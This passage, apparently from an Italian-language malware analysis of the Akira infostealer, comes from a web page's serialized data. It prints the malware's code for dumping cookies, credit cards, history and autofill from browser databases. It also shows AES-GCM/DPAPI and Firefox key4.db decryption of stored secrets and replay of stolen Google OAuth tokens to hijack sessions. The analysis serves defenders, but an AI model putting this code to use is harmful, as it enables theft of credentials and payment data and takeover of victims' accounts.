card-not-present.",[615,6549,6551],{"className":4513,"code":6550,"language":4515,"meta":529,"style":529},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[578,6552,6553,6558,6563,6568,6573,6578],{"__ignoreMap":529},[1704,6554,6555],{"class":1706,"line":1707},[1704,6556,6557],{},"results = cursor.execute(\n",[1704,6559,6560],{"class":1706,"line":530},[1704,6561,6562],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1704,6564,6565],{"class":1706,"line":2088},[1704,6566,6567],{},").fetchall()\n",[1704,6569,6570],{"class":1706,"line":2094},[1704,6571,6572],{},"for month, year, enc_cc in results:\n",[1704,6574,6575],{"class":1706,"line":2415},[1704,6576,6577],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1704,6579,6580],{"class":1706,"line":2421},[1704,6581,6582],{},"    ccs.append((cc_number, month, year))\n",[630,6584,6585,6594,6601,6609],{},[633,6586,6587,6590,6591,6593],{},[567,6588,6589],{},"Prende di mira"," gli archivi SQLite ",[578,6592,588],{}," sotto ogni profilo.",[633,6595,6596,998,6598,613],{},[567,6597,6505],{},[578,6599,6600],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[633,6602,6603,3280,6605,6608],{},[567,6604,6513],{},[578,6606,6607],{},"card_number_encrypted"," esattamente come i blob delle password.",[633,6610,6611,6613,6614,613],{},[567,6612,6531],{}," in ",[578,6615,6616],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[887,6618,6620,6621,1138],{"id":6619},"_744-dumper-dei-cookie-chromiumgetcookies","7.4.4 Dumper dei cookie (",[578,6622,6623],{},"Chromium.GetCookies",[525,6625,893],{},[525,6627,6628],{},"I cookie, e in particolare i cookie di sessione, sono obiettivi di primo piano per il takeover degli account senza password. Questo modulo estrae tutti i file di cookie da tutti i profili, li decifra e raccoglie i metadati essenziali come dominio, nome e scadenza. Uniti al fingerprinting, questi cookie permettono attacchi di replay diretti contro i servizi autenticati.",[615,6630,6632],{"className":4513,"code":6631,"language":4515,"meta":529,"style":529},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[578,6633,6634,6638,6643,6647,6652,6657],{"__ignoreMap":529},[1704,6635,6636],{"class":1706,"line":1707},[1704,6637,6557],{},[1704,6639,6640],{"class":1706,"line":530},[1704,6641,6642],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1704,6644,6645],{"class":1706,"line":2088},[1704,6646,6567],{},[1704,6648,6649],{"class":1706,"line":2094},[1704,6650,6651],{},"for host, name, path, blob, expiry in results:\n",[1704,6653,6654],{"class":1706,"line":2415},[1704,6655,6656],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1704,6658,6659],{"class":1706,"line":2421},[1704,6660,6661],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[630,6663,6664,6671,6679,6687],{},[633,6665,6666,6487,6669,613],{},[567,6667,6668],{},"Scansiona",[578,6670,6349],{},[633,6672,6673,3280,6676,613],{},[567,6674,6675],{},"Seleziona",[578,6677,6678],{},"host_key, name, path, encrypted_value, expires_utc",[633,6680,6681,6514,6683,6686],{},[567,6682,6513],{},[578,6684,6685],{},"encrypted_value"," per rivelare la stringa reale del cookie.",[633,6688,6689,6613,6692,613],{},[567,6690,6691],{},"Salva",[578,6693,6694],{},"Cookies/\u003CBrowserName> Cookies.txt",[887,6696,6698,6699,1138],{"id":6697},"_745-dumper-delle-sessioni-google-chromiumdump_google_sessions","7.4.5 Dumper delle sessioni Google (",[578,6700,6701],{},"Chromium.dump_google_sessions",[525,6703,893],{},[525,6705,6706],{},"Questa routine è uno dei componenti più avanzati: decifra i token OAuth memorizzati nella tabella token_service. Riproducendoli tramite l'endpoint multilogin di Google, il malware può rigenerare cookie di sessione attivi, il che permette agli attaccanti di impossessarsi degli account Google senza credenziali. È un esempio di come i token di accesso siano diventati obiettivi primari negli stealer moderni.",[615,6708,6710],{"className":4513,"code":6709,"language":4515,"meta":529,"style":529},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[578,6711,6712,6717,6722,6727,6732,6737,6742,6747,6752,6757,6762,6767,6771],{"__ignoreMap":529},[1704,6713,6714],{"class":1706,"line":1707},[1704,6715,6716],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1704,6718,6719],{"class":1706,"line":530},[1704,6720,6721],{},"for service, blob in cursor.fetchall():\n",[1704,6723,6724],{"class":1706,"line":2088},[1704,6725,6726],{},"    iv = blob[3:15]\n",[1704,6728,6729],{"class":1706,"line":2094},[1704,6730,6731],{},"    ciphertext = blob[15:-16]\n",[1704,6733,6734],{"class":1706,"line":2415},[1704,6735,6736],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1704,6738,6739],{"class":1706,"line":2421},[1704,6740,6741],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1704,6743,6744],{"class":1706,"line":3080},[1704,6745,6746],{},"    # Replays via POST to OAuth endpoint\n",[1704,6748,6749],{"class":1706,"line":3876},[1704,6750,6751],{},"    response = requests.post(\n",[1704,6753,6754],{"class":1706,"line":3882},[1704,6755,6756],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1704,6758,6759],{"class":1706,"line":4128},[1704,6760,6761],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1704,6763,6764],{"class":1706,"line":5046},[1704,6765,6766],{},"        data={\"source\": \"com.google.Drive\"}\n",[1704,6768,6769],{"class":1706,"line":5052},[1704,6770,5977],{},[1704,6772,6773],{"class":1706,"line":5058},[1704,6774,6775],{},"    save each account’s cookies to file\n",[630,6777,6778,6793,6802,6812],{},[633,6779,6780,3280,6783,6786,6787,6790,6791,613],{},[567,6781,6782],{},"Preleva",[578,6784,6785],{},"service"," e il valore grezzo ",[578,6788,6789],{},"encrypted_token"," dalla copia di ",[578,6792,588],{},[633,6794,6795,6798,6799,6494],{},[567,6796,6797],{},"Decifratura AES‑GCM"," usando la chiave ",[578,6800,6801],{},"Local State",[633,6803,6804,6807,6808,6811],{},[567,6805,6806],{},"Riproduce"," i token decifrati in una POST verso l'API ",[578,6809,6810],{},"multilogin"," di Google per ricostruire cookie OAuth validi.",[633,6813,6814,6816,6817,613],{},[567,6815,6531],{}," file di sessione per account in ",[578,6818,6819],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[887,6821,6823,6824,1138],{"id":6822},"_746-dumper-della-cronologia-chromiumgethistory","7.4.6 Dumper della cronologia (",[578,6825,6826],{},"Chromium.GetHistory",[525,6828,893],{},[525,6830,6831],{},"Questa funzione estrae le voci della cronologia di navigazione, compresi URL, titolo e frequenza delle visite. Oltre all'invasione della privacy, questi dati aiutano gli attaccanti a capire il comportamento della vittima, a individuare obiettivi di alto valore (per esempio i portali bancari) o a confezionare payload di social engineering su misura.",[615,6833,6835],{"className":4513,"code":6834,"language":4515,"meta":529,"style":529},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[578,6836,6837,6841,6846,6850,6855],{"__ignoreMap":529},[1704,6838,6839],{"class":1706,"line":1707},[1704,6840,6557],{},[1704,6842,6843],{"class":1706,"line":530},[1704,6844,6845],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1704,6847,6848],{"class":1706,"line":2088},[1704,6849,6567],{},[1704,6851,6852],{"class":1706,"line":2094},[1704,6853,6854],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1704,6856,6857],{"class":1706,"line":2415},[1704,6858,6859],{},"return [(url, title, count) for url, title, count, _ in history]\n",[630,6861,6862,6872,6882],{},[633,6863,6864,3280,6866,6869,6870,613],{},[567,6865,6675],{},[578,6867,6868],{},"url, title, visit_count, last_visit_time"," da ogni database ",[578,6871,6397],{},[633,6873,6874,6877,6878,6881],{},[567,6875,6876],{},"Ordina"," le voci per ",[578,6879,6880],{},"last_visit_time"," in ordine decrescente.",[633,6883,6884,6613,6886,613],{},[567,6885,6531],{},[578,6887,6888],{},"History/\u003CBrowserName> History.txt",[887,6890,6892,6893,1138],{"id":6891},"_747-dumper-della-compilazione-automatica-chromiumgetautofills","7.4.7 Dumper della compilazione automatica (",[578,6894,6895],{},"Chromium.GetAutofills",[525,6897,893],{},[525,6899,6900],{},"Le voci di compilazione automatica, come indirizzi, nomi, email e a volte dati legati ai pagamenti, vengono raccolte dall'archivio Web Data del browser. Questi valori possono sembrare poco critici, ma aggregati offrono un profilo ricco dell'identità e del comportamento della vittima.",[615,6902,6904],{"className":4513,"code":6903,"language":4515,"meta":529,"style":529},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[578,6905,6906,6910,6915,6919,6924],{"__ignoreMap":529},[1704,6907,6908],{"class":1706,"line":1707},[1704,6909,6557],{},[1704,6911,6912],{"class":1706,"line":530},[1704,6913,6914],{},"    \"SELECT name, value FROM autofill\"\n",[1704,6916,6917],{"class":1706,"line":2088},[1704,6918,6567],{},[1704,6920,6921],{"class":1706,"line":2094},[1704,6922,6923],{},"for field, value in results:\n",[1704,6925,6926],{"class":1706,"line":2415},[1704,6927,6928],{},"    autofills.append((field.strip(), value.strip()))\n",[630,6930,6931,6943],{},[633,6932,6933,6935,6936,6939,6940,613],{},[567,6934,6782],{}," le voci di compilazione dei moduli: ",[578,6937,6938],{},"name, value"," dal file ",[578,6941,6942],{},"web data",[633,6944,6945,6613,6947,613],{},[567,6946,6531],{},[578,6948,6949],{},"Autofill/\u003CBrowserName> Autofill.txt",[887,6951,6953,6954,2204,6956,1138],{"id":6952},"_748-grabber-dei-profili-firefox-geckodriver-e-grabfirefoxprofiles","7.4.8 Grabber dei profili Firefox (",[578,6955,6270],{},[578,6957,6958],{},"grabFirefoxProfiles",[525,6960,893],{},[525,6962,6963],{},"A differenza delle routine granulari per Chromium, questa funzione sceglie un approccio ad ampio raggio: comprime l'intera directory del profilo Firefox, con login salvati, cookie e segnalibri, e la esfiltra in blocco. Così gli attaccanti possono analizzare o estrarre i dati offline, aggirando gli ostacoli della decifratura con il noto strumentario NSS.",[615,6965,6967],{"className":4513,"code":6966,"language":4515,"meta":529,"style":529},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[578,6968,6969,6974,6979,6984],{"__ignoreMap":529},[1704,6970,6971],{"class":1706,"line":1707},[1704,6972,6973],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1704,6975,6976],{"class":1706,"line":530},[1704,6977,6978],{},"    for root, dirs, files in os.walk(source_path):\n",[1704,6980,6981],{"class":1706,"line":2088},[1704,6982,6983],{},"        zipf.write(each file)\n",[1704,6985,6986],{"class":1706,"line":2094},[1704,6987,6988],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[630,6990,6991,7000,7009],{},[633,6992,6993,6996,6997,613],{},[567,6994,6995],{},"Comprime in ZIP"," l'intera directory ",[578,6998,6999],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles",[633,7001,7002,3280,7005,7008],{},[567,7003,7004],{},"La chiama",[578,7006,7007],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," e invia il link di download sugli stessi canali webhook.",[633,7010,7011,7014,7015,646,7018,646,7021,7024],{},[567,7012,7013],{},"Invoca inoltre"," le stesse funzioni di estrazione basate su SQLite (",[578,7016,7017],{},"logins.json",[578,7019,7020],{},"cookies.sqlite",[578,7022,7023],{},"places.sqlite",") su ogni profilo Firefox, usando le routine di decifratura NSS già presenti.",[887,7026,7028],{"id":7027},"_749-sintesi-dellestrazione","7.4.9 Sintesi dell'estrazione",[525,7030,893],{},[525,7032,7033,7034,646,7036,646,7038,646,7040,2204,7042,7045,7046,7049,7050,7052,7053,646,7055,2204,7057,7059,7060,7063],{},"Astor.py orchestra una compromissione completa del browser, raccogliendo sistematicamente ogni credenziale e ogni artefatto di sessione nei client basati su Chromium e in Firefox. Individua e copia in sicurezza ciascun archivio SQLite, ",[578,7035,584],{},[578,7037,588],{},[578,7039,6349],{},[578,7041,6397],{},[578,7043,7044],{},"autofill",", poi esegue query SQL mirate per estrarre URL, nomi utente, password, dati delle carte di credito, cookie, cronologia di navigazione e voci di compilazione dei moduli. Password e dati di pagamento vengono decifrati tramite AES-GCM (o con il fallback su Windows DPAPI), mentre i cookie vengono sbloccati nello stesso modo per rivelare i valori in chiaro. Per gli account Google, i token OAuth cifrati presi da ",[578,7047,7048],{},"token_service"," vengono decifrati e riprodotti verso l'API ",[578,7051,6810],{}," per rigenerare cookie di sessione attivi. Infine i profili Firefox vengono archiviati in blocco (compresi ",[578,7054,7017],{},[578,7056,7020],{},[578,7058,7023],{},") e consegnati come ZIP, senza lasciare indietro alcun artefatto. Questa pipeline end to end gira in silenzio sotto ",[578,7061,7062],{},"%TEMP%\\\u003CComputerName>"," e produce file di output ordinati per ogni categoria di dati.",[740,7065,7067],{"id":7066},"_75-logica-di-decifratura","7.5 Logica di decifratura",[525,7069,746],{},[525,7071,7072],{},"I browser moderni come Chrome ed Edge cifrano i dati sensibili, come password, cookie e dati delle carte di credito, prima di memorizzarli in locale. Akira include routine di decifratura integrate, pensate per gestire sia i metodi di cifratura Chromium legacy sia quelli attuali. Così riesce a estrarre dati in chiaro indipendentemente dal livello di patch del sistema o dalla versione del browser.",[525,7074,7075],{},"Al centro di questo processo c'è l'estrazione e la decifratura della master key di cifratura del browser, memorizzata in un file chiamato Local State. A seconda della versione del browser e della build di Windows, Akira seleziona dinamicamente il metodo di decifratura appropriato:",[525,7077,7078],{},"DPAPI (Data Protection API) viene usata sui sistemi più vecchi, dove Chrome conserva i segreti protetti dalle credenziali Windows dell'utente corrente.",[525,7080,7081],{},"AES-GCM viene usato sulle build Chromium moderne, dove una master key generata casualmente è a sua volta cifrata con DPAPI e poi usata per la cifratura dei dati utente all'interno dell'app.",[525,7083,7084],{},"Decifrando per prima la master key di Local State, Akira ottiene la capacità di sbloccare tutti i segreti del browser, aprendo la strada all'estrazione di credenziali, token, cookie e altro.",[525,7086,7087],{},[567,7088,7089],{},"Estrazione della chiave",[615,7091,7093],{"className":4513,"code":7092,"language":4515,"meta":529,"style":529},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[578,7094,7095,7100,7105,7110],{"__ignoreMap":529},[1704,7096,7097],{"class":1706,"line":1707},[1704,7098,7099],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1704,7101,7102],{"class":1706,"line":530},[1704,7103,7104],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1704,7106,7107],{"class":1706,"line":2088},[1704,7108,7109],{},"    local_state = json.load(f)\n",[1704,7111,7112],{"class":1706,"line":2094},[1704,7113,7114],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[525,7116,7117],{},[567,7118,7119],{},"Decifratura (AES-GCM):",[615,7121,7123],{"className":4513,"code":7122,"language":4515,"meta":529,"style":529},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[578,7124,7125,7130,7135,7140,7145],{"__ignoreMap":529},[1704,7126,7127],{"class":1706,"line":1707},[1704,7128,7129],{},"nonce = value[3:15]\n",[1704,7131,7132],{"class":1706,"line":530},[1704,7133,7134],{},"ciphertext = value[15:-16]\n",[1704,7136,7137],{"class":1706,"line":2088},[1704,7138,7139],{},"tag = value[-16:]\n",[1704,7141,7142],{"class":1706,"line":2094},[1704,7143,7144],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1704,7146,7147],{"class":1706,"line":2415},[1704,7148,7149],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[525,7151,7152,7153,613],{},"Se serve il fallback su DPAPI (sui sistemi più vecchi), usa ",[578,7154,7155],{},"win32crypt.CryptUnprotectData()",[525,7157,7158,7164],{},[567,7159,7160,7161,1199],{},"Spiegazione di ",[578,7162,7163],{},"decrypt_password_blob","\nQuesta funzione mostra come Akira Stealer decifra ogni valore di password salvata nei browser basati su Chromium. Gestisce due casi:",[2102,7166,7167,7177],{},[633,7168,7169,7172,7173,7176],{},[567,7170,7171],{},"Blob DPAPI di Windows"," (dati più vecchi o non cifrati con GCM): ricade sulla chiamata di sistema ",[578,7174,7175],{},"CryptUnprotectData",", che usa le credenziali Windows dell'utente per decifrare.",[633,7178,7179,7182,7183,7186],{},[567,7180,7181],{},"Blob cifrati con AES-GCM"," (formato Chrome v10/v11): interpreta l'header di versione, estrae IV e tag di autenticazione e usa la libreria ",[578,7184,7185],{},"cryptography"," per decifrare il payload in modo sicuro.",[615,7188,7190],{"className":4513,"code":7189,"language":4515,"meta":529,"style":529},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[578,7191,7192,7197,7202,7206,7210,7215,7219,7224,7228,7233,7238,7243,7247,7252,7257,7261,7266,7271,7276,7281,7285,7290,7295,7300,7305,7310,7315,7320,7325,7330,7334,7339,7344,7349,7354,7359,7363,7368,7372,7377,7382,7386,7391],{"__ignoreMap":529},[1704,7193,7194],{"class":1706,"line":1707},[1704,7195,7196],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1704,7198,7199],{"class":1706,"line":530},[1704,7200,7201],{},"from cryptography.hazmat.backends import default_backend\n",[1704,7203,7204],{"class":1706,"line":2088},[1704,7205,3873],{"emptyLinePlaceholder":325},[1704,7207,7208],{"class":1706,"line":2094},[1704,7209,3873],{"emptyLinePlaceholder":325},[1704,7211,7212],{"class":1706,"line":2415},[1704,7213,7214],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1704,7216,7217],{"class":1706,"line":2421},[1704,7218,5851],{},[1704,7220,7221],{"class":1706,"line":3080},[1704,7222,7223],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1704,7225,7226],{"class":1706,"line":3876},[1704,7227,3873],{"emptyLinePlaceholder":325},[1704,7229,7230],{"class":1706,"line":3882},[1704,7231,7232],{},"    Parameters:\n",[1704,7234,7235],{"class":1706,"line":4128},[1704,7236,7237],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1704,7239,7240],{"class":1706,"line":5046},[1704,7241,7242],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1704,7244,7245],{"class":1706,"line":5052},[1704,7246,3873],{"emptyLinePlaceholder":325},[1704,7248,7249],{"class":1706,"line":5058},[1704,7250,7251],{},"    Returns:\n",[1704,7253,7254],{"class":1706,"line":5064},[1704,7255,7256],{},"    - Decrypted UTF-8 plaintext password\n",[1704,7258,7259],{"class":1706,"line":5070},[1704,7260,5851],{},[1704,7262,7263],{"class":1706,"line":5076},[1704,7264,7265],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1704,7267,7268],{"class":1706,"line":5082},[1704,7269,7270],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1704,7272,7273],{"class":1706,"line":5088},[1704,7274,7275],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1704,7277,7278],{"class":1706,"line":5094},[1704,7279,7280],{},"        return CryptUnprotectData(buffer)\n",[1704,7282,7283],{"class":1706,"line":5100},[1704,7284,3873],{"emptyLinePlaceholder":325},[1704,7286,7287],{"class":1706,"line":5106},[1704,7288,7289],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1704,7291,7292],{"class":1706,"line":5112},[1704,7293,7294],{},"    # Bytes layout:\n",[1704,7296,7297],{"class":1706,"line":5118},[1704,7298,7299],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1704,7301,7302],{"class":1706,"line":5124},[1704,7303,7304],{},"    # [3:15]   = initialization vector (IV)\n",[1704,7306,7307],{"class":1706,"line":5130},[1704,7308,7309],{},"    # [15:-16] = ciphertext payload\n",[1704,7311,7312],{"class":1706,"line":5797},[1704,7313,7314],{},"    # [-16:]   = GCM authentication tag\n",[1704,7316,7317],{"class":1706,"line":5802},[1704,7318,7319],{},"    iv = buffer[3:15]\n",[1704,7321,7322],{"class":1706,"line":5807},[1704,7323,7324],{},"    ciphertext = buffer[15:-16]\n",[1704,7326,7327],{"class":1706,"line":5812},[1704,7328,7329],{},"    tag = buffer[-16:]\n",[1704,7331,7332],{"class":1706,"line":5818},[1704,7333,3873],{"emptyLinePlaceholder":325},[1704,7335,7336],{"class":1706,"line":5823},[1704,7337,7338],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1704,7340,7341],{"class":1706,"line":5828},[1704,7342,7343],{},"    cipher = Cipher(\n",[1704,7345,7346],{"class":1706,"line":5833},[1704,7347,7348],{},"        algorithms.AES(key),\n",[1704,7350,7351],{"class":1706,"line":5838},[1704,7352,7353],{},"        modes.GCM(iv, tag),\n",[1704,7355,7356],{"class":1706,"line":5843},[1704,7357,7358],{},"        backend=default_backend()\n",[1704,7360,7361],{"class":1706,"line":5848},[1704,7362,5977],{},[1704,7364,7365],{"class":1706,"line":5854},[1704,7366,7367],{},"    decryptor = cipher.decryptor()\n",[1704,7369,7370],{"class":1706,"line":5860},[1704,7371,3873],{"emptyLinePlaceholder":325},[1704,7373,7374],{"class":1706,"line":5866},[1704,7375,7376],{},"    # Perform decryption; raises if authentication fails\n",[1704,7378,7379],{"class":1706,"line":5871},[1704,7380,7381],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1704,7383,7384],{"class":1706,"line":5876},[1704,7385,3873],{"emptyLinePlaceholder":325},[1704,7387,7388],{"class":1706,"line":5881},[1704,7389,7390],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1704,7392,7393],{"class":1706,"line":5886},[1704,7394,7395],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[740,7397,7399],{"id":7398},"_76-hijacking-dei-token-di-sessione","7.6 Hijacking dei token di sessione",[525,7401,746],{},[525,7403,7404,7405,7408],{},"Akira non si ferma alla raccolta passiva dei dati, dirotta attivamente i token di sessione attivi per impersonare le vittime in tempo reale. Dopo aver estratto i token cifrati dall'archivio del browser, ricostruisce l'header di autorizzazione necessario e riproduce una richiesta ",[567,7406,7407],{},"MultiLogin"," verso l'endpoint OAuth di Google. Lo snippet di codice seguente illustra il processo:",[615,7410,7412],{"className":4513,"code":7411,"language":4515,"meta":529,"style":529},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[578,7413,7414,7419,7424,7429,7434,7439,7444,7449,7454,7459,7463,7468,7473,7478,7483,7488,7492,7497,7502],{"__ignoreMap":529},[1704,7415,7416],{"class":1706,"line":1707},[1704,7417,7418],{},"# Build SAPISIDHASH header for Google services\n",[1704,7420,7421],{"class":1706,"line":530},[1704,7422,7423],{},"origin = \"https://accounts.google.com\"\n",[1704,7425,7426],{"class":1706,"line":2088},[1704,7427,7428],{},"timestamp = int(time.time())\n",[1704,7430,7431],{"class":1706,"line":2094},[1704,7432,7433],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1704,7435,7436],{"class":1706,"line":2415},[1704,7437,7438],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1704,7440,7441],{"class":1706,"line":2421},[1704,7442,7443],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1704,7445,7446],{"class":1706,"line":3080},[1704,7447,7448],{},"headers = {\n",[1704,7450,7451],{"class":1706,"line":3876},[1704,7452,7453],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1704,7455,7456],{"class":1706,"line":3882},[1704,7457,7458],{},"    \"Content-Type\": \"application/json\"\n",[1704,7460,7461],{"class":1706,"line":4128},[1704,7462,2424],{},[1704,7464,7465],{"class":1706,"line":5046},[1704,7466,7467],{},"# Replay MultiLogin to fetch valid session cookies\n",[1704,7469,7470],{"class":1706,"line":5052},[1704,7471,7472],{},"response = requests.post(\n",[1704,7474,7475],{"class":1706,"line":5058},[1704,7476,7477],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1704,7479,7480],{"class":1706,"line":5064},[1704,7481,7482],{},"    headers=headers,\n",[1704,7484,7485],{"class":1706,"line":5070},[1704,7486,7487],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1704,7489,7490],{"class":1706,"line":5076},[1704,7491,5265],{},[1704,7493,7494],{"class":1706,"line":5082},[1704,7495,7496],{},"if response.status_code == 200:\n",[1704,7498,7499],{"class":1706,"line":5088},[1704,7500,7501],{},"    # Victim’s cookies now present in response.cookies\n",[1704,7503,7504],{"class":1706,"line":5094},[1704,7505,7506],{},"    hijacked_cookies = response.cookies\n",[525,7508,7509],{},"Riproducendo questa richiesta, Akira può impersonare l'utente su Gmail, Drive o qualsiasi altro servizio Google protetto da una sessione valida, senza bisogno di credenziali. La tecnica sfrutta la logica di accettazione dei token di Google stessa, e questo la rende quasi indistinguibile dal comportamento di un client legittimo.",[740,7511,7513],{"id":7512},"_77-decifratura-in-firefox","7.7 Decifratura in Firefox",[525,7515,746],{},[525,7517,7518,7519,7522],{},"I browser basati su Gecko come Firefox cifrano credenziali e cookie salvati usando una master key memorizzata in ",[578,7520,7521],{},"key4.db",". Akira include una routine di decifratura ridotta all'essenziale che replica la logica NSS di Mozilla e gestisce sia la variante 3DES sia quella AES‑CBC senza far comparire la richiesta della master password. Esempio d'uso:",[615,7524,7526],{"className":4513,"code":7525,"language":4515,"meta":529,"style":529},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[578,7527,7528,7533,7538,7543,7548,7553,7557,7562,7567,7572,7577,7582,7587,7592,7597,7602,7607,7611],{"__ignoreMap":529},[1704,7529,7530],{"class":1706,"line":1707},[1704,7531,7532],{},"# Load global Salt and encrypted item from key4.db\n",[1704,7534,7535],{"class":1706,"line":530},[1704,7536,7537],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1704,7539,7540],{"class":1706,"line":2088},[1704,7541,7542],{},"cursor = 